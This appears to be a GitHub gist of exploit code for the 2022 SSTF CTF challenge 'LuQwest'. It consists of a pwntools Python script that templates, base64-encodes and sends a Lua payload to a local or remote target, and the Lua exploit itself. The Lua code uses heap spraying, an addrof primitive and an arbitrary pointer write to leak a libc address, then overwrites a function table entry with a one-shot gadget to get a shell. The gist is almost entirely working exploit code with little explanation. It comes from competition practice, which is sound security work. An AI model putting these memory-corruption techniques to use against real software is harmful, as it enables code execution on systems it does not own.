Skip to content

Instantly share code, notes, and snippets.

@d0now
Last active August 23, 2022 06:11
Show Gist options
  • Select an option

  • Save d0now/b375588e7bf63572890c26b69823b89c to your computer and use it in GitHub Desktop.

Select an option

Save d0now/b375588e7bf63572890c26b69823b89c to your computer and use it in GitHub Desktop.
2022 SSTF CTF - LuQwest Exploit Code
  • Lua arbitrary heap pointer write (?)
  • My first time lua exploit
  • Also First Blood :) (Team: STLCTF)
#!/usr/bin/python3
from pwn import *
context.clear(arch='amd64')
def exploit(p, e, l):
input("START > ")
with open("exploit.lua.tpl", 'r') as f:
lua = f.read()
lua = lua.format(
elf_load_offset = e.symbols['load'],
elf_null_offset = e.bss(0x200),
elf_stdout_offset = e.symbols['stdout'],
elf_stderr_offset = e.symbols['stderr'],
libc_leak_offset = l.symbols['leak'],
libc_oneshot_offset = l.symbols['oneshot']
)
with open("exploit.lua", 'w') as f:
f.write(lua)
n = b'\xc2\xbb '
p.readuntil(n)
p.sendline(b"L")
p.readuntil(n)
p.sendline(b"-----BEGIN GAME-----")
lua_encoded = b64e(lua.encode()).encode()
for i in range(0, len(lua_encoded), 0x1ff):
p.readuntil(n)
p.sendline(lua_encoded[i:i+0x1ff])
p.readuntil(n)
p.sendline(b"-----END GAME-----")
p.interactive()
if __name__ == '__main__':
from argparse import ArgumentParser
parser = ArgumentParser()
parser.add_argument("--elf", default="./luqwest")
parser.add_argument("--libc", default="./libc-2.27.so")
parser.add_argument("--remote")
args = parser.parse_args()
if args.remote:
host, port = args.remote.split(":")
p = remote(host, port)
else:
p = process([args.elf, '1'])
e = ELF(args.elf)
l = ELF(args.libc)
e.symbols['start'] = 0x00003084
e.symbols['load'] = 0x000042b5
l.symbols['leak'] = 0x003ebc44
l.symbols['oneshot'] = 0x0010a2fc
exploit(p, e, l)
function addrof(v)
local strrep = string.format("%p", v)
local i = string.find(strrep, '0x')
if i == nil then
error("v")
end
return tonumber(string.sub(strrep, i+2), 16)
end
function p64(v) return string.pack("<I8", v) end
function p32(v) return string.pack("<I4", v) end
target = string.rep("A", 0xe8)
d = {{}}
for i = 1, 8192 do
d[i] = string.rep("A", 0xe8)
end
for i = 1, 8192 do
if i % 2 then
d[i] = nil
end
end
load(1, {{text='hi'}}, addrof(target) + 0x10)
n = 1
for i = 1, 0x10001 do
n = n + 8
l = string.unpack("<L", string.sub(target, n, n + 8))
if ((l >> 40) & 0xff) == 0x7f then
if (l & 0xff) == 0x44 then
break
end
end
end
libc_base = l - {libc_leak_offset}
tbl = {{}}
for i = 1, 4096 do tbl[i] = load end
print(string.format("tbl = %p", tbl))
t = string.rep(p64(libc_base + {libc_oneshot_offset})..p64(0x16), 5)
load(1, {{text=t}}, addrof(tbl) + 0x10)
tbl[1]()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment